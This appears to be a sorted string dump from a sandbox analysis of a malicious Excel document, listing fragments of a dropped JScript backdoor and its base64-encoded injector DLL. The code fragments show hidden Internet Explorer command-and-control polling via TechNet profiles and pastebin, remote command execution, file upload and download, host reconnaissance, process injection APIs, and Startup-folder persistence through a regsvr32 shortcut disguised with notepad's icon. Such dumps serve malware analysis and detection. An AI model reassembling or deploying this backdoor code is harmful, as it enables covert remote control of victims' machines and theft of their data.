Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
_utf8_decode : function (utftext) {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
_utf8_encode : function (string) {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
acc = e.item();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ado.Close();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ado.Open();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ado.SaveToFile(path, adSaveCreateOverwrite);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ado.Type = adTypeBinary;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ado.Write(bin);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
AppData + '\\Microsoft\\Windows\\Start Menu\\Programs\\Startup'];
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
argArr = data.split(this.splitChar);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
bander = banderList[i];
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
banderList = ['Name','ProcessId','SessionId','commandline'];
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
base64ToFile:function(path, bin){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
bin = node.nodeTypedValue;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
bMutex : false,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
c = utftext.charCodeAt(i);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
c1 = base64DecodeChars[str.charCodeAt(i++) & 0xff]
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
c2 = base64DecodeChars[str.charCodeAt(i++) & 0xff]
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
c2 = utftext.charCodeAt(i+1);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
c3 = base64DecodeChars[c3]
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
c3 = str.charCodeAt(i++) & 0xff;
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
c3 = utftext.charCodeAt(i+2);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
c4 = base64DecodeChars[c4]
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
c4 = str.charCodeAt(i++) & 0xff;
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
%WINDIR%\system32\apphelp.dll
Unicode based on Runtime Data (EXCEL.EXE )
case this.caseCode:
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
case this.caseDownFile:
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
case this.caseExecCmd:
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
case this.caseUpFile:
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
caseExecCmd : 'xxx',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
caseHandler:function(recvData){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
caseStr = tmp.substring(0, 3).toLowerCase();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
chr1 = (enc1 << 2) | (enc2 >> 4);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
chr1 = input.charCodeAt(i++);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
chr2 = input.charCodeAt(i++);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
chr3 = ((enc3 & 3) << 6) | enc4;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
chr3 = input.charCodeAt(i++);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
cls();
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
clsCode='oFS.DeleteFile(\'C:\\\\9c780f7b06a006211e1393ada39ebf71cb24cd93e84802dcd61ea5be23a96d7f.xls\');oFS.MoveFile(\'C:\\\\Users\\\\PSPUBWS\\\\AppData\\\\Local\\\\Temp\\\\9c780f7b06a006211e1393ada39ebf71cb24cd93e84802dcd61ea5be23a96d7f.xls\',\'C:\\\\\'); oApp.ShellExecute(\'C:\\\\9c780f7b06a006211e1393ada39ebf71cb24cd93e84802dcd61ea5be23a96d7f.xls\', \'\', \'\', \'open\', 3);';
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
codeRegex : /hd=87ds(.*?)=ddfhk/,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
codeRes = this.codeRegex.exec(workIE.Document.documentElement.outerHTML);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
COMCTL32.dll
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
CommandLineToArgvW
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
comment = info[0]+' '+info[2];
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
Corporation. All rights reserved.
Unicode based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.255000.00000002.mdmp)
count = Math.floor(fileSize/this.downOnce) + (fileSize%this.downOnce==0 ? 0 : 1);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
createIE:function(url){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
data = tmp.substring(3);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
decode : function (input) {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
df = this.oFS.OpenTextFile(dfPath, ForReading);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
df.Close();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
dfPath = this.tmpDir + '\\' + f.Name + '~' + this.downIndex;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
DiagnosticsIdentifier:(SZ) 6bb5dc16-23a7-4e31-8904-aa3fab5a6b6e084a241f-7eee-4370-b24b-f5797d79df67
Ansi based on Dropped File (303286.od.303286)
down.innerText = this.encode(this.caseDownFileData + downData);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
downBtn.click();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
downData = df.ReadAll();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
downInfo:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
drive:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
dstUrl : '',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
e = new Enumerator(this.oCimv2.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = True"));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
e = new Enumerator(this.oCimv2.ExecQuery("Select * from Win32_Processor"));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
e = new Enumerator(this.oCimv2.ExecQuery('Select * From Win32_Session'));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
e = new Enumerator(this.oCimv2.ExecQuery(queryStr));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
e.item().Terminate();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ele = banderList[i];
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ele = e.item();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ele = proc.Properties_.item(banderList[j]) + ' ';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
enc1 = this._keyStr.indexOf(input.charAt(i++));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
enc2 = this._keyStr.indexOf(input.charAt(i++));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
enc3 = this._keyStr.indexOf(input.charAt(i++));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
enc4 = this._keyStr.indexOf(input.charAt(i++));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
encode : function (input) {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
errLog:function(err){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
errObjToStr:function(err){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
exec:function(cmdline, timeout){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
execWithCScript:function(cmd, sec){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
f = fso.OpenTextFile(this.errLogFilePath, 8, true);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
f = this.oFS.GetFile(path);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
f = this.oFS.GetFile(this.downFile);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
f = this.oFS.OpenTextFile(outFilePath, 1);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
f = this.oFS.OpenTextFile(scriptFilePath, 2, 1);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
f.Close();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
f.Write("F=(new ActiveXObject('Scripting.FileSystemObject')).OpenTextFile(unescape('"+escape(outFilePath)+"'),2,1);");
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
f.Write("O=W.Exec(unescape('"+escape(cmd)+"'));F.Write(O.StdOut.ReadAll()+O.StdErr.ReadAll());F.Close();");
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
f.Write("W=new ActiveXObject('WScript.Shell');");
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
f.WriteLine(this.now()+':'+text);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
fire:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for (i = 0; i < stDirs.length; i++)
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
for (i=0; i<sec*10; i++){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for (var n = 0; n < string.length; n++) {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(;;){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(e.moveFirst(); !e.atEnd(); e.moveNext()){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(e.moveFirst();!e.atEnd();e.moveNext()){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(i = 0; i < 3; i++)
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
for(i = 0; i < oDrives.length; i += 2) {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(i = 0; i < oPrinters.length; i += 2) {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(i in banderList){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(i in procList){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(i=0; i<len; i++){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(i=0;i<3;++i){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(i=0;i<arr.length;++i){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(i=0;i<level;++i){res += '\t'}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(j in banderList){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(j in procList){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(pe.moveFirst(); !pe.atEnd(); pe.moveNext()){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(var i in lines){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(var i in obj){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
for(var i in this.jmpUrlList){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
freshIE:function(ie){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
fso = new ActiveXObject('Scripting.FileSystemObject');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
function base64decode(str)
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
function cls()
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
getAllUserSid:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
GetCommandLineW
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
getConfig:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
GetCurrentProcess
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
GetCurrentProcessId
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
GetExitCodeProcess
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
GetLastError
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
GetLastInputInfo
Ansi based on Runtime Data (EXCEL.EXE )
GetNativeSystemInfo
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
getOSBit:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
GetProcAddress
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
GetStartupInfoW
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
ie = new ActiveXObject('InternetExplorer.Application');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ie.Navigate(url, navNoHistory, "_self");
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ie.Refresh2(REFRESH_COMPLETELY);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ie.Visible = this.bDebug;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if (!this.pExists(pid)){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if (c < 128) {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if (c1 == -1) break;
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
if (c2 == -1) break;
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
if (c3 == -1) break;
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
if (c3 == 61) return out;
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
if (c4 == -1) break;
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
if (c4 == 61) return out;
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
if (enc3 != 64) {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if (enc4 != 64) {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if (isNaN(chr2)) {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if (oFS.FolderExists(stDirs[i]))
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
if (outParams.ReturnValue == 0)
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if (parseInt(minute) < 10){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if (parseInt(seconds) < 10){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(!lines[i].length)continue;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(!loginForm || !username || !password || !valicode || !submit){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(!oExec.StdErr.AtEndOfStream)res+=oExec.StdErr.readAll();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(!oExec.StdOut.AtEndOfStream)res+=oExec.StdOut.readAll();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(!snd || !rcv || !down || !downBtn || !up || !upIdx)break;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(!this.upOk){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(++i==9999)i=0;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(accessToWrite){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(argArr.length==2){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(arr[i].toLowerCase()==item.toLowerCase())break;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(codeRes){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(cookie && cookie.length>0){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(count>0){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(data && data.length>0){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(drv.IsReady){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(i%(this.downInterval*2)==0 && down.innerText.length==0 && this.downIndex<this.downCount && this.oFS.FileExists(this.downFile)){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(i%(this.upInterval*2)==0 && upData.length>0 && this.upIndex<this.upCount){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(i<banderList.length-1)for(j=ele.length;j<maxLenList[i];++j)res+=splitChar;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(idleThisTime){++idleTimes;}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(idleTimes/2==this.idleSecondBeforeFresh){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(j<banderList.length-1)for(k=ele.length;k<maxLenList[j];++k)res+=splitChar;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(jmpRes){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(len>maxLen)maxLen=len;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(method && method.length>0){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(mock==null)mock='regsvr32';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(oExec.status==WshFinished)break;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(oExec.status==WshRunning){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(ok){break;}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(property.Value!=null){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(proxy && proxy.length>0){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(putRes){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(query!=null && !this.inArray(queryArray,property.Name)){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(query!=null){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(realTimeOut<1)WScript.Sleep(1000);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(realTimeOut>0)iniFile.WriteLine('time=' + realTimeOut);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(realTimeOut>0)try{this.oFS.DeleteFile(mockOutPath);}catch(err){}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(recvData.length>0){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(recvData.length>3){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(recvData==this.caseReauth){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(show)realShow = show;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(this.bDebug){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(this.bDeleteSelf){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(this.bMutex){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(this.downIndex==this.downCount){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(this.dstUrl==''){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(this.initCode!=''){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(this.osBit=='32'){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(this.upIndex==this.upCount){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(timeout!=null)realTimeOut=timeout;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(timeout!=null){realSec=timeout;}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(typeof(err)=='object'){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(username!=null && password!=null){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(waitTime<=0){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(workFlag){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(WScript.CreateBlockFile(this.downFile, this.downOnce, this.downIndex)){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
inArray:function(arr, item){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
info += '\ndownFile='+this.downFile+'\ndownSize='+this.downSize;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
info += '\ndownOk='+this.downOk+'\n';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
info += '\ndownOnce='+this.downOnce+'\ndownInterval='+this.downInterval;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
info += '\nPercent='+this.downIndex+'/'+this.downCount;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
info += '\nPercent='+this.upIndex+'/'+this.upCount;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
info += '\nupFile='+this.upFile+'\nupSize='+this.upSize;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
info += '\nupOk='+this.upOk+'\n';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
info += '\nupOnce='+this.upOnce+'\nupInterval='+this.upInterval;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
info += 'downStart='+this.downStart+'\ndownEnd='+this.downEnd;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
info += 'upStart='+this.upStart+'\nupEnd='+this.upEnd;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
info = lines[i].split('|');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
iniFile = this.oFS.CreateTextFile(mockIniPath, true);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
iniFile.Close();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
iniFile.WriteLine('[cfg]');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
iniFile.WriteLine('args=' + args);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
iniFile.WriteLine('mock="'+ mock +'"');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
iniFile.WriteLine('outf="' + mockOutPath +'"');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
iniFile.WriteLine('real="'+ real +'"');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
initBase();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
initBase:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
initCode : '',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
InitMockDll32:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
InitMockDll64:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
initUrl : 'about:blank',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
inParams.CommandLine = CommandLine;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
inParams.ProcessStartupInformation = startInfo;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
input = this._utf8_encode(input);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
jmpRegex : /lkhd==ad=nf(.*?)=lkjf=kn/,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
jmpRes = this.jmpRegex.exec(workIE.Document.documentElement.outerHTML);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
jmpUrlList : ['https://social.technet.microsoft.com/Profile/technetxukbakupse','https://social.technet.microsoft.com/Profile/technetxuk','http://pastebin.com/RjN4aPYb'],
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
kb:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
lines = this.getAllUserSid().split('\n');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
link.Arguments = '/s "'+tempDir+'\\'+randName+'.dll"';
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
link.Arguments = args;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
link.IconLocation = 'notepad.exe, 0';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
link.Save();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
link.TargetPath = 'regsvr32';
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
link.TargetPath = target;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
LocalAlloc
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
loginAction : 'ajax.php',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
loginForm.action = this.loginAction;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
loginFormId : 'loginForm',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
main:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
maxLenList = [];
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
maxLenList[i] = maxLen;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
method = proc.Methods_.Item('GetOwner');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mksc:function(path, target, args){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "//8A6LYFAACLTRCLVfBRUlONhcD4//9omCAAEFD/FXggABCNhcD4//+DxCCNUAGKCECEyXX5agCNTdBRK8JQjZXA+P//Ulb/FSAg";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "/2jUIAAQUf/Xg8RAjZUA+P//Uo2FAPD//1ZQi0UQ6Fj8//+DxAxoAIAAAGoAVov4/xUcIAAQhf90FYtFFIXAfgeL3+jz+///V/8V";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "5ItV6FFS/9CLR1CLTzSLVehqQGgAMAAAUFFS/xVIIAAQiUX4hcAPhPEAAACLV1SNTfxRi00MUotV6FFQUv8VaCAAEIXAD4S5AAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "ABBW/xVkIAAQaMgCAACNhcT8//9qAFDoVwUAAItV7IPEDI2NwPz//1FSx4XA/P//BwABAP8VACAAEIXAD4RYAQAAi7Vk/f//i1Xo";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "AOhgAwAAaP8HAACNjQH4//9qAFHGhQD4//8A6EYDAACLVQiLPXggABBTUo2FAPD//2jMIAAQUP/Xi00Ui1UMi0UIUVNSUI2NAPj/";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "bnRleHQAAFMAQ3JlYXRlRmlsZUEAYwFHZXRGaWxlU2l6ZQBAA1NldFRocmVhZENvbnRleHQAABsDU2V0RmlsZVBvaW50ZXIAAJYC";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "c2VIYW5kbGUArQNXcml0ZVByb2Nlc3NNZW1vcnkAANICUmVzdW1lVGhyZWFkAACDAERlbGV0ZUZpbGVBAEtFUk5FTDMyLmRsbAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "DIN9DAB0EaEoMAAQhcB0CFdWU//QiUUMi0UMX15bXcIMAMz/JYAgABDMzMzM/yWQIAAQzMzMzMzMzMzMzFE9ABAAAI1MJAhyFIHp";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "DSEAEGgcIQAQaBghABD/1o2V+P7//1JoBQEAAI2F2Pr//1BoDSEAEGgkIQAQaBghABD/1o2N+P7//1FoBQEAAI2V4Pv//1JoDSEA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "EGgsIQAQaBghABD/1o2F+P7//1BqAGg0IQAQaBghABD/FSggABBQjY3g+///UY2V8P3//1KNhej8//9QjY3Y+v//6L39//+DxBAz";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "EI1MJBCL8FFW/xUUIAAQhcB0JYs9UCAAEDlcJCh1DYtUJBhS6Hz///+DxASNRCQQUFb/14XAdeFW/xVkIAAQX15bi+Vdw8zMzMzM";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "EIXAdBU7ffx1EFb/FWQgABBfXovDW4vlXcNoAIAAAGoAU/8VHCAAEFb/FWQgABBfXjPAW4vlXcPMzMxVi+yD5PiB7CwBAABTi10I";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "FQwgABCLTexR/xVsIAAQi1XsUv8VZCAAEItF6F9eW4vlXcOLRfiFwHQSaACAAABqAFCLRehQ/xUsIAAQi03sizVkIAAQUf/Wi1Xo";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "g+4E6+pQ/xV8IAAQgyUkMAAQAFleagFYwgwAVYvsU4tdCFaLdQxXi30QhfZ1CYM9EDAAEADrJoP+AXQFg/4CdSKhKDAAEIXAdAlX";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "g8QMM8BTZolFvP8VcCAAEFZogAAAAGoCjU3UUWoDaAAAAEBTx0XUDAAAAIl12MdF3AEAAAD/FQQgABCL8DPAg/7/D4RgAgAAjVXo";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "i+yB7EAHAABTi9iLRQxWM/a5TVoAAIl1+GY5CHQIXjPAW4vlXcNXi3g8A/iBP1BFAAAPhbkCAABqQI1VkFZSx0WMRAAAAOhUBgAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "i0X8O0dUD4WtAAAAD7dPFDPSM9uNRDkYZjtXBnNBjXAQkIsGhcB0KItWBANVDI1N/FGLTehQi0b8A0X4UlBR/xVoIAAQhcB0cIsW";
